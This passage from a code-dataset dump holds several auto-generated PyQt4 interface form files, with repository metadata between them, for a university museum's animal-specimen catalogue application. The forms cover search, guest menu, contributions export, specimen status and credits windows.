QtCore.SIGNAL(_fromUtf8(\"clicked()\")), BusquedaPersonalizada.Volver)\n QtCore.QObject.connect(self.radioButton, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), BusquedaPersonalizada.HabilitarUno)\n QtCore.QObject.connect(self.radioButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), BusquedaPersonalizada.HabilitarVarios)\n QtCore.QObject.connect(self.radioButton, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtCodeAnimal.clear)\n QtCore.QObject.connect(self.radioButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtEnvergadura.clear)\n QtCore.QObject.connect(self.radioButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtnomAnimal.clear)\n QtCore.QObject.connect(self.BotonBusqueda, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), BusquedaPersonalizada.Buscar)\n QtCore.QMetaObject.connectSlotsByName(BusquedaPersonalizada)\n\n def retranslateUi(self, BusquedaPersonalizada):\n BusquedaPersonalizada.setWindowTitle(_translate(\"BusquedaPersonalizada\", \"Busqueda Personalizada\", None))\n self.pushButton.setText(_translate(\"BusquedaPersonalizada\", \"Volver\", None))\n self.groupBox.setTitle(_translate(\"BusquedaPersonalizada\", \"Buscar por\", None))\n self.BotonBusqueda.setText(_translate(\"BusquedaPersonalizada\", \"Buscar\", None))\n self.label_2.setText(_translate(\"BusquedaPersonalizada\", \"Codigo del animal\", None))\n self.label_3.setText(_translate(\"BusquedaPersonalizada\", \"Nombre\", None))\n self.label_5.setText(_translate(\"BusquedaPersonalizada\", \"Envergadura\", None))\n self.label_7.setText(_translate(\"BusquedaPersonalizada\", \"<html><head/><body><p align=\\\"justify\\\"><span style=\\\" font-size:10pt;\\\">Tenga en cuenta que solo debe ingresar </span></p><p align=\\\"justify\\\"><span style=\\\" font-size:10pt;\\\">el numero del codigo sin el indicativo Ejem. </span></p><p align=\\\"justify\\\"><span style=\\\" font-size:10pt;\\\">Si el codigo es MHNU-O-9 solo debe ingresar el 9</span></p></body></html>\", None))\n self.label.setText(_translate(\"BusquedaPersonalizada\", \"<html><head/><body><p align=\\\"center\\\"><span style=\\\" font-size:14pt; color:#0000ff;\\\">Busqueda Especifica</span></p></body></html>\", None))\n self.groupBox_2.setTitle(_translate(\"BusquedaPersonalizada\", \"Resultados\", None))\n self.label_8.setText(_translate(\"BusquedaPersonalizada\", \"Codigo\", None))\n self.label_9.setText(_translate(\"BusquedaPersonalizada\", \"Nombre\", None))\n self.L1.setText(_translate(\"BusquedaPersonalizada\", \"--\", None))\n self.L2.setText(_translate(\"BusquedaPersonalizada\", \"--\", None))\n self.L3.setText(_translate(\"BusquedaPersonalizada\", \"--\", None))\n self.label_13.setText(_translate(\"BusquedaPersonalizada\", \"Taxonomia\", None))\n self.label_14.setText(_translate(\"BusquedaPersonalizada\", \"Latitud\", None))\n self.L4.setText(_translate(\"BusquedaPersonalizada\", \"--\", None))\n self.label_16.setText(_translate(\"BusquedaPersonalizada\", \"Longitud\", None))\n self.L5.setText(_translate(\"BusquedaPersonalizada\", \"--\", None))\n self.label_18.setText(_translate(\"BusquedaPersonalizada\", \"Localizacion\", None))\n self.L6.setText(_translate(\"BusquedaPersonalizada\", \"--\", None))\n self.label_20.setText(_translate(\"BusquedaPersonalizada\", \"Estado\", None))\n self.L7.setText(_translate(\"BusquedaPersonalizada\", \"--\", None))\n self.label_22.setText(_translate(\"BusquedaPersonalizada\", \"Metodo\", None))\n self.L8.setText(_translate(\"BusquedaPersonalizada\", \"--\", None))\n self.label_24.setText(_translate(\"BusquedaPersonalizada\", \"Sexo\", None))\n self.L10.setText(_translate(\"BusquedaPersonalizada\", \"--\", None))\n self.L9.setText(_translate(\"BusquedaPersonalizada\", \"--\", None))\n self.label_27.setText(_translate(\"BusquedaPersonalizada\", \"Fecha Ingreso\", None))\n self.L11.setText(_translate(\"BusquedaPersonalizada\", \"--\", None))\n self.label_28.setText(_translate(\"BusquedaPersonalizada\", \"Peso\", None))\n self.label_29.setText(_translate(\"BusquedaPersonalizada\", \"Habitat\", None))\n self.L12.setText(_translate(\"BusquedaPersonalizada\", \"--\", None))\n self.label_31.setText(_translate(\"BusquedaPersonalizada\", \"Edad\", None))\n self.label_32.setText(_translate(\"BusquedaPersonalizada\", \"Anotaciones\", None))\n self.L13.setText(_translate(\"BusquedaPersonalizada\", \"--\", None))\n self.L14.setText(_translate(\"BusquedaPersonalizada\", \"--\", None))\n self.label_35.setText(_translate(\"BusquedaPersonalizada\", \"Envergadura\", None))\n self.L15.setText(_translate(\"BusquedaPersonalizada\", \"--\", None))\n self.label_37.setText(_translate(\"BusquedaPersonalizada\", \"Contenido Estomacal\", None))\n self.label_38.setText(_translate(\"BusquedaPersonalizada\", \"Informacion Reproductiva\", None))\n self.label_39.setText(_translate(\"BusquedaPersonalizada\", \"Grasa(Kg)\", None))\n self.L16.setText(_translate(\"BusquedaPersonalizada\", \"--\", None))\n self.label_40.setText(_translate(\"BusquedaPersonalizada\", \"Muda\", None))\n self.L17.setText(_translate(\"BusquedaPersonalizada\", \"--\", None))\n self.L18.setText(_translate(\"BusquedaPersonalizada\", \"--\", None))\n self.L19.setText(_translate(\"BusquedaPersonalizada\", \"--\", None))\n self.L20.setText(_translate(\"BusquedaPersonalizada\", \"--\", None))\n self.label_44.setText(_translate(\"BusquedaPersonalizada\", \"Partes Blandas\", None))\n self.label_45.setText(_translate(\"BusquedaPersonalizada\", \"Gonodas\", None))\n self.L21.setText(_translate(\"BusquedaPersonalizada\", \"--\", None))\n self.label_47.setText(_translate(\"BusquedaPersonalizada\", \"Oscificacion\", None))\n self.L22.setText(_translate(\"BusquedaPersonalizada\", \"--\", None))\n self.label_6.setText(_translate(\"BusquedaPersonalizada\", \"Universidad de los Llanos 2014 ®\", None))\n\n" }, { "alpha_fraction": 0.6647499799728394, "alphanum_fraction": 0.7037500143051147, "avg_line_length": 48.98749923706055, "blob_id": "da34ad563a7023d5a4d6d65361179d44666d1266", "content_id": "d31c6c5b489a5f9a58b6714972e728ed41db9351", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4000, "license_type": "no_license", "max_line_length": 132, "num_lines": 80, "path": "/Grafico/MenuInvitadoGrafico.py", "repo_name": "Dani472/MuseoUnillanos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'MenuInvitado.ui'\n#\n# Created: Wed Dec 03 14:32:16 2014\n# by: PyQt4 UI code generator 4.11.1\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt4 import QtCore, QtGui\n\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\nclass Ui_MenuInvitado(object):\n def setupUi(self, MenuInvitado):\n MenuInvitado.setObjectName(_fromUtf8(\"MenuInvitado\"))\n MenuInvitado.resize(323, 323)\n MenuInvitado.setMinimumSize(QtCore.QSize(323, 323))\n MenuInvitado.setMaximumSize(QtCore.QSize(323, 323))\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(_fromUtf8(\"../10808257_892502220760807_508259266_n.jpg\")), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n MenuInvitado.setWindowIcon(icon)\n self.centralwidget = QtGui.QWidget(MenuInvitado)\n self.centralwidget.setObjectName(_fromUtf8(\"centralwidget\"))\n self.label_5 = QtGui.QLabel(self.centralwidget)\n self.label_5.setGeometry(QtCore.QRect(0, 0, 441, 311))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"High Tower Text\"))\n font.setPointSize(19)\n font.setBold(True)\n font.setItalic(True)\n font.setWeight(75)\n self.label_5.setFont(font)\n self.label_5.setText(_fromUtf8(\"\"))\n self.label_5.setPixmap(QtGui.QPixmap(_fromUtf8(\"C:/Fondos/menu.jpg\")))\n self.label_5.setObjectName(_fromUtf8(\"label_5\"))\n self.BSalir = QtGui.QPushButton(self.centralwidget)\n self.BSalir.setGeometry(QtCore.QRect(120, 230, 75, 23))\n self.BSalir.setObjectName(_fromUtf8(\"BSalir\"))\n self.pushButton = QtGui.QPushButton(self.centralwidget)\n self.pushButton.setGeometry(QtCore.QRect(120, 110, 75, 23))\n self.pushButton.setObjectName(_fromUtf8(\"pushButton\"))\n self.pushButton_3 = QtGui.QPushButton(self.centralwidget)\n self.pushButton_3.setGeometry(QtCore.QRect(120, 150, 75, 23))\n self.pushButton_3.setObjectName(_fromUtf8(\"pushButton_3\"))\n self.BCambioPassInvitado = QtGui.QPushButton(self.centralwidget)\n self.BCambioPassInvitado.setGeometry(QtCore.QRect(120, 190, 75, 23))\n self.BCambioPassInvitado.setObjectName(_fromUtf8(\"BCambioPassInvitado\"))\n MenuInvitado.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(MenuInvitado)\n self.statusbar.setObjectName(_fromUtf8(\"statusbar\"))\n MenuInvitado.setStatusBar(self.statusbar)\n\n self.retranslateUi(MenuInvitado)\n QtCore.QObject.connect(self.pushButton, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), MenuInvitado.Busqueda)\n QtCore.QObject.connect(self.pushButton_3, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), MenuInvitado.aportes)\n QtCore.QObject.connect(self.BSalir, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), MenuInvitado.Salir)\n QtCore.QObject.connect(self.BCambioPassInvitado, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), MenuInvitado.CambioPassInvitado)\n QtCore.QMetaObject.connectSlotsByName(MenuInvitado)\n MenuInvitado.setTabOrder(self.pushButton, self.pushButton_3)\n MenuInvitado.setTabOrder(self.pushButton_3, self.BSalir)\n\n def retranslateUi(self, MenuInvitado):\n MenuInvitado.setWindowTitle(_translate(\"MenuInvitado\", \"Menu\", None))\n self.BSalir.setText(_translate(\"MenuInvitado\", \"Salir\", None))\n self.pushButton.setText(_translate(\"MenuInvitado\", \"Busqueda\", None))\n self.pushButton_3.setText(_translate(\"MenuInvitado\", \"Aportes\", None))\n self.BCambioPassInvitado.setText(_translate(\"MenuInvitado\", \"Cambiar Pass\", None))\n\n" }, { "alpha_fraction": 0.6627960801124573, "alphanum_fraction": 0.6978634595870972, "avg_line_length": 51.5, "blob_id": "377a0adb24b601fb6af4a9493ed7dff440ecefd6", "content_id": "4d3fbbd65e3ea393560185774f734d452ab9ff1a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4306, "license_type": "no_license", "max_line_length": 199, "num_lines": 82, "path": "/Grafico/VerAportesGrafico.py", "repo_name": "Dani472/MuseoUnillanos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'VerAportes.ui'\n#\n# Created: Mon Dec 08 09:39:10 2014\n# by: PyQt4 UI code generator 4.11.1\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt4 import QtCore, QtGui\n\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\nclass Ui_AportesUser(object):\n def setupUi(self, AportesUser):\n AportesUser.setObjectName(_fromUtf8(\"AportesUser\"))\n AportesUser.resize(357, 242)\n AportesUser.setMinimumSize(QtCore.QSize(357, 242))\n AportesUser.setMaximumSize(QtCore.QSize(357, 242))\n self.centralwidget = QtGui.QWidget(AportesUser)\n self.centralwidget.setObjectName(_fromUtf8(\"centralwidget\"))\n self.pushButton = QtGui.QPushButton(self.centralwidget)\n self.pushButton.setGeometry(QtCore.QRect(10, 190, 75, 23))\n self.pushButton.setObjectName(_fromUtf8(\"pushButton\"))\n self.groupBox = QtGui.QGroupBox(self.centralwidget)\n self.groupBox.setGeometry(QtCore.QRect(10, 40, 331, 141))\n font = QtGui.QFont()\n font.setPointSize(12)\n font.setBold(True)\n font.setItalic(True)\n font.setWeight(75)\n self.groupBox.setFont(font)\n self.groupBox.setObjectName(_fromUtf8(\"groupBox\"))\n self.radioButton = QtGui.QRadioButton(self.groupBox)\n self.radioButton.setGeometry(QtCore.QRect(10, 30, 211, 17))\n self.radioButton.setObjectName(_fromUtf8(\"radioButton\"))\n self.radioButton_2 = QtGui.QRadioButton(self.groupBox)\n self.radioButton_2.setGeometry(QtCore.QRect(10, 60, 141, 17))\n self.radioButton_2.setObjectName(_fromUtf8(\"radioButton_2\"))\n self.radioButton_3 = QtGui.QRadioButton(self.groupBox)\n self.radioButton_3.setGeometry(QtCore.QRect(10, 90, 131, 17))\n self.radioButton_3.setObjectName(_fromUtf8(\"radioButton_3\"))\n self.label = QtGui.QLabel(self.centralwidget)\n self.label.setGeometry(QtCore.QRect(10, 0, 341, 31))\n self.label.setObjectName(_fromUtf8(\"label\"))\n self.pushButton_2 = QtGui.QPushButton(self.centralwidget)\n self.pushButton_2.setGeometry(QtCore.QRect(260, 190, 75, 23))\n self.pushButton_2.setObjectName(_fromUtf8(\"pushButton_2\"))\n AportesUser.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(AportesUser)\n self.statusbar.setObjectName(_fromUtf8(\"statusbar\"))\n AportesUser.setStatusBar(self.statusbar)\n\n self.retranslateUi(AportesUser)\n QtCore.QObject.connect(self.pushButton, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), AportesUser.Volver)\n QtCore.QObject.connect(self.radioButton_3, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), AportesUser.Sql)\n QtCore.QObject.connect(self.radioButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), AportesUser.Excel)\n QtCore.QObject.connect(self.radioButton, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), AportesUser.Txt)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), AportesUser.AbrirCarpeta)\n QtCore.QMetaObject.connectSlotsByName(AportesUser)\n\n def retranslateUi(self, AportesUser):\n AportesUser.setWindowTitle(_translate(\"AportesUser\", \"Ver Aportes\", None))\n self.pushButton.setText(_translate(\"AportesUser\", \"Volver\", None))\n self.groupBox.setTitle(_translate(\"AportesUser\", \"Exportar\", None))\n self.radioButton.setText(_translate(\"AportesUser\", \"Archivo de texto plano\", None))\n self.radioButton_2.setText(_translate(\"AportesUser\", \"Archivo Excel\", None))\n self.radioButton_3.setText(_translate(\"AportesUser\", \"Archivo SQL\", None))\n self.label.setText(_translate(\"AportesUser\", \"<html><head/><body><p align=\\\"center\\\"><span style=\\\" font-size:12pt; font-weight:600; color:#0000ff;\\\">Aportes</span></p></body></html>\", None))\n self.pushButton_2.setText(_translate(\"AportesUser\", \"Ver Carpeta \", None))\n\n" }, { "alpha_fraction": 0.6576767563819885, "alphanum_fraction": 0.6944711804389954, "avg_line_length": 52.50515365600586, "blob_id": "6bc954bfa2d0e31cd94ec2efaf517c55ea53f0b3", "content_id": "af07c8bb73935215a3b3d35899fce8332bebe5df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5191, "license_type": "no_license", "max_line_length": 199, "num_lines": 97, "path": "/Grafico/VerEstadoGrafico.py", "repo_name": "Dani472/MuseoUnillanos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'VerEstado.ui'\n#\n# Created: Tue Dec 09 10:23:23 2014\n# by: PyQt4 UI code generator 4.11.1\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt4 import QtCore, QtGui\n\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\nclass Ui_ViewEstado(object):\n def setupUi(self, ViewEstado):\n ViewEstado.setObjectName(_fromUtf8(\"ViewEstado\"))\n ViewEstado.resize(474, 451)\n ViewEstado.setMinimumSize(QtCore.QSize(474, 451))\n ViewEstado.setMaximumSize(QtCore.QSize(474, 451))\n self.centralwidget = QtGui.QWidget(ViewEstado)\n self.centralwidget.setObjectName(_fromUtf8(\"centralwidget\"))\n self.pushButton = QtGui.QPushButton(self.centralwidget)\n self.pushButton.setGeometry(QtCore.QRect(20, 400, 75, 23))\n self.pushButton.setObjectName(_fromUtf8(\"pushButton\"))\n self.TablaGeneral = QtGui.QTableWidget(self.centralwidget)\n self.TablaGeneral.setGeometry(QtCore.QRect(20, 170, 431, 221))\n self.TablaGeneral.setObjectName(_fromUtf8(\"TablaGeneral\"))\n self.TablaGeneral.setColumnCount(0)\n self.TablaGeneral.setRowCount(0)\n self.groupBox = QtGui.QGroupBox(self.centralwidget)\n self.groupBox.setGeometry(QtCore.QRect(20, 50, 431, 111))\n font = QtGui.QFont()\n font.setPointSize(10)\n font.setBold(True)\n font.setItalic(True)\n font.setWeight(75)\n self.groupBox.setFont(font)\n self.groupBox.setObjectName(_fromUtf8(\"groupBox\"))\n self.radioButton = QtGui.QRadioButton(self.groupBox)\n self.radioButton.setGeometry(QtCore.QRect(20, 40, 131, 17))\n self.radioButton.setObjectName(_fromUtf8(\"radioButton\"))\n self.radioButton_2 = QtGui.QRadioButton(self.groupBox)\n self.radioButton_2.setGeometry(QtCore.QRect(20, 70, 141, 17))\n self.radioButton_2.setObjectName(_fromUtf8(\"radioButton_2\"))\n self.label_2 = QtGui.QLabel(self.groupBox)\n self.label_2.setGeometry(QtCore.QRect(240, 20, 111, 16))\n self.label_2.setObjectName(_fromUtf8(\"label_2\"))\n self.TxtCodigo = QtGui.QLineEdit(self.groupBox)\n self.TxtCodigo.setGeometry(QtCore.QRect(290, 50, 113, 20))\n self.TxtCodigo.setObjectName(_fromUtf8(\"TxtCodigo\"))\n self.BoxEstado = QtGui.QComboBox(self.groupBox)\n self.BoxEstado.setGeometry(QtCore.QRect(240, 80, 121, 22))\n self.BoxEstado.setObjectName(_fromUtf8(\"BoxEstado\"))\n self.BoxEstado.addItem(_fromUtf8(\"\"))\n self.BoxEstado.addItem(_fromUtf8(\"\"))\n self.radioButton_3 = QtGui.QRadioButton(self.groupBox)\n self.radioButton_3.setGeometry(QtCore.QRect(190, 50, 82, 17))\n self.radioButton_3.setObjectName(_fromUtf8(\"radioButton_3\"))\n self.label = QtGui.QLabel(self.centralwidget)\n self.label.setGeometry(QtCore.QRect(20, 20, 401, 20))\n self.label.setObjectName(_fromUtf8(\"label\"))\n ViewEstado.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(ViewEstado)\n self.statusbar.setObjectName(_fromUtf8(\"statusbar\"))\n ViewEstado.setStatusBar(self.statusbar)\n\n self.retranslateUi(ViewEstado)\n QtCore.QObject.connect(self.radioButton, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), ViewEstado.Disponible)\n QtCore.QObject.connect(self.radioButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), ViewEstado.NoDisponible)\n QtCore.QObject.connect(self.pushButton, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), ViewEstado.Volver)\n QtCore.QObject.connect(self.radioButton_3, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), ViewEstado.CambiarEstado)\n QtCore.QObject.connect(self.pushButton, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TablaGeneral.clear)\n QtCore.QMetaObject.connectSlotsByName(ViewEstado)\n\n def retranslateUi(self, ViewEstado):\n ViewEstado.setWindowTitle(_translate(\"ViewEstado\", \"Consultar Por Estado\", None))\n self.pushButton.setText(_translate(\"ViewEstado\", \"Volver\", None))\n self.groupBox.setTitle(_translate(\"ViewEstado\", \"Estado del animal\", None))\n self.radioButton.setText(_translate(\"ViewEstado\", \"Disponible \", None))\n self.radioButton_2.setText(_translate(\"ViewEstado\", \"No Disponible\", None))\n self.label_2.setText(_translate(\"ViewEstado\", \"Cambiar estado\", None))\n self.BoxEstado.setItemText(0, _translate(\"ViewEstado\", \"Disponible\", None))\n self.BoxEstado.setItemText(1, _translate(\"ViewEstado\", \"no Disponible\", None))\n self.radioButton_3.setText(_translate(\"ViewEstado\", \"Codigo\", None))\n self.label.setText(_translate(\"ViewEstado\", \"<html><head/><body><p align=\\\"center\\\"><span style=\\\" font-size:12pt; font-weight:600; color:#0000ff;\\\">Consulta</span></p></body></html>\", None))\n\n" }, { "alpha_fraction": 0.6592510342597961, "alphanum_fraction": 0.6992955207824707, "avg_line_length": 42.48387145996094, "blob_id": "76c0c61d50dd44673553dc91e835ae1ca9a4fbc9", "content_id": "4bd7d8171773e8364e1714f81ab819eadafc1a16", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2697, "license_type": "no_license", "max_line_length": 163, "num_lines": 62, "path": "/Grafico/CreditosGrafico.py", "repo_name": "Dani472/MuseoUnillanos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'Creditos.ui'\n#\n# Created: Wed Dec 03 14:57:29 2014\n# by: PyQt4 UI code generator 4.11.1\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt4 import QtCore, QtGui\n\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\nclass Ui_Creditos(object):\n def setupUi(self, Creditos):\n Creditos.setObjectName(_fromUtf8(\"Creditos\"))\n Creditos.setWindowModality(QtCore.Qt.NonModal)\n Creditos.resize(383, 361)\n Creditos.setMinimumSize(QtCore.QSize(383, 340))\n Creditos.setMaximumSize(QtCore.QSize(383, 361))\n Creditos.setCursor(QtGui.QCursor(QtCore.Qt.OpenHandCursor))\n Creditos.setAcceptDrops(False)\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(_fromUtf8(\"C:/Users/danielfernando/.designer/10808257_892502220760807_508259266_n.jpg\")), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n Creditos.setWindowIcon(icon)\n Creditos.setAccessibleName(_fromUtf8(\"\"))\n Creditos.setTabShape(QtGui.QTabWidget.Rounded)\n self.centralwidget = QtGui.QWidget(Creditos)\n self.centralwidget.setObjectName(_fromUtf8(\"centralwidget\"))\n self.label_4 = QtGui.QLabel(self.centralwidget)\n self.label_4.setGeometry(QtCore.QRect(0, 0, 391, 341))\n self.label_4.setText(_fromUtf8(\"\"))\n self.label_4.setTextFormat(QtCore.Qt.LogText)\n self.label_4.setPixmap(QtGui.QPixmap(_fromUtf8(\"C:/Fondos/creditos.jpg\")))\n self.label_4.setObjectName(_fromUtf8(\"label_4\"))\n self.Bvolver = QtGui.QPushButton(self.centralwidget)\n self.Bvolver.setGeometry(QtCore.QRect(280, 260, 75, 23))\n self.Bvolver.setObjectName(_fromUtf8(\"Bvolver\"))\n Creditos.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(Creditos)\n self.statusbar.setObjectName(_fromUtf8(\"statusbar\"))\n Creditos.setStatusBar(self.statusbar)\n\n self.retranslateUi(Creditos)\n QtCore.QObject.connect(self.Bvolver, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), Creditos.Volver)\n QtCore.QMetaObject.connectSlotsByName(Creditos)\n\n def retranslateUi(self, Creditos):\n Creditos.setWindowTitle(_translate(\"Creditos\", \"Creditos\", None))\n self.Bvolver.setText(_translate(\"Creditos\", \"Volver\", None))\n\n" }, { "alpha_fraction": 0.6354885101318359, "alphanum_fraction": 0.676399827003479, "avg_line_length": 48.4603157043457, "blob_id": "c7ac6f6ed47f4a2c504eb45156d8b7c534696f68", "content_id": "772ae4057bd73f1997733159c8dd4d5669f59866", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6235, "license_type": "no_license", "max_line_length": 135, "num_lines": 126, "path": "/Grafico/TejidosGrafico.py", "repo_name": "Dani472/MuseoUnillanos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'Tejidos.ui'\n#\n# Created: Wed Dec 03 15:41:01 2014\n# by: PyQt4 UI code generator 4.11.1\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt4 import QtCore, QtGui\n\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\nclass Ui_Tejidos(object):\n def setupUi(self, Tejidos):\n Tejidos.setObjectName(_fromUtf8(\"Tejidos\"))\n Tejidos.resize(390, 313)\n Tejidos.setMinimumSize(QtCore.QSize(390, 313))\n Tejidos.setMaximumSize(QtCore.QSize(390, 313))\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(_fromUtf8(\"../../10808257_892502220760807_508259266_n.jpg\")), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n Tejidos.setWindowIcon(icon)\n self.centralwidget = QtGui.QWidget(Tejidos)\n self.centralwidget.setObjectName(_fromUtf8(\"centralwidget\"))\n self.label_6 = QtGui.QLabel(self.centralwidget)\n self.label_6.setGeometry(QtCore.QRect(0, 0, 391, 301))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"High Tower Text\"))\n font.setPointSize(19)\n font.setBold(True)\n font.setItalic(True)\n font.setWeight(75)\n self.label_6.setFont(font)\n self.label_6.setText(_fromUtf8(\"\"))\n self.label_6.setPixmap(QtGui.QPixmap(_fromUtf8(\"C:/Fondos/TEJIDOS.jpg\")))\n self.label_6.setScaledContents(True)\n self.label_6.setAlignment(QtCore.Qt.AlignCenter)\n self.label_6.setObjectName(_fromUtf8(\"label_6\"))\n self.pushButton_2 = QtGui.QPushButton(self.centralwidget)\n self.pushButton_2.setGeometry(QtCore.QRect(210, 260, 75, 23))\n self.pushButton_2.setObjectName(_fromUtf8(\"pushButton_2\"))\n self.TxtNombre = QtGui.QLineEdit(self.centralwidget)\n self.TxtNombre.setGeometry(QtCore.QRect(120, 100, 113, 20))\n self.TxtNombre.setObjectName(_fromUtf8(\"TxtNombre\"))\n self.label = QtGui.QLabel(self.centralwidget)\n self.label.setGeometry(QtCore.QRect(30, 100, 91, 21))\n font = QtGui.QFont()\n font.setPointSize(14)\n font.setItalic(True)\n self.label.setFont(font)\n self.label.setObjectName(_fromUtf8(\"label\"))\n self.radioButton = QtGui.QRadioButton(self.centralwidget)\n self.radioButton.setGeometry(QtCore.QRect(30, 150, 82, 17))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setItalic(True)\n self.radioButton.setFont(font)\n self.radioButton.setObjectName(_fromUtf8(\"radioButton\"))\n self.radioButton_2 = QtGui.QRadioButton(self.centralwidget)\n self.radioButton_2.setGeometry(QtCore.QRect(30, 190, 82, 17))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setItalic(True)\n self.radioButton_2.setFont(font)\n self.radioButton_2.setObjectName(_fromUtf8(\"radioButton_2\"))\n self.radioButton_3 = QtGui.QRadioButton(self.centralwidget)\n self.radioButton_3.setGeometry(QtCore.QRect(30, 220, 82, 17))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setItalic(True)\n self.radioButton_3.setFont(font)\n self.radioButton_3.setObjectName(_fromUtf8(\"radioButton_3\"))\n self.comboBox = QtGui.QComboBox(self.centralwidget)\n self.comboBox.setEnabled(True)\n self.comboBox.setGeometry(QtCore.QRect(170, 140, 101, 22))\n self.comboBox.setObjectName(_fromUtf8(\"comboBox\"))\n self.comboBox.addItem(_fromUtf8(\"\"))\n self.comboBox.addItem(_fromUtf8(\"\"))\n self.comboBox.addItem(_fromUtf8(\"\"))\n self.comboBox.addItem(_fromUtf8(\"\"))\n self.TxtDescripcion = QtGui.QTextEdit(self.centralwidget)\n self.TxtDescripcion.setGeometry(QtCore.QRect(170, 180, 201, 71))\n self.TxtDescripcion.setObjectName(_fromUtf8(\"TxtDescripcion\"))\n self.label_2 = QtGui.QLabel(self.centralwidget)\n self.label_2.setGeometry(QtCore.QRect(330, 70, 21, 16))\n self.label_2.setObjectName(_fromUtf8(\"label_2\"))\n self.pushButton = QtGui.QPushButton(self.centralwidget)\n self.pushButton.setGeometry(QtCore.QRect(290, 260, 75, 23))\n self.pushButton.setObjectName(_fromUtf8(\"pushButton\"))\n Tejidos.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(Tejidos)\n self.statusbar.setObjectName(_fromUtf8(\"statusbar\"))\n Tejidos.setStatusBar(self.statusbar)\n\n self.retranslateUi(Tejidos)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtNombre.clear)\n QtCore.QObject.connect(self.pushButton_2, 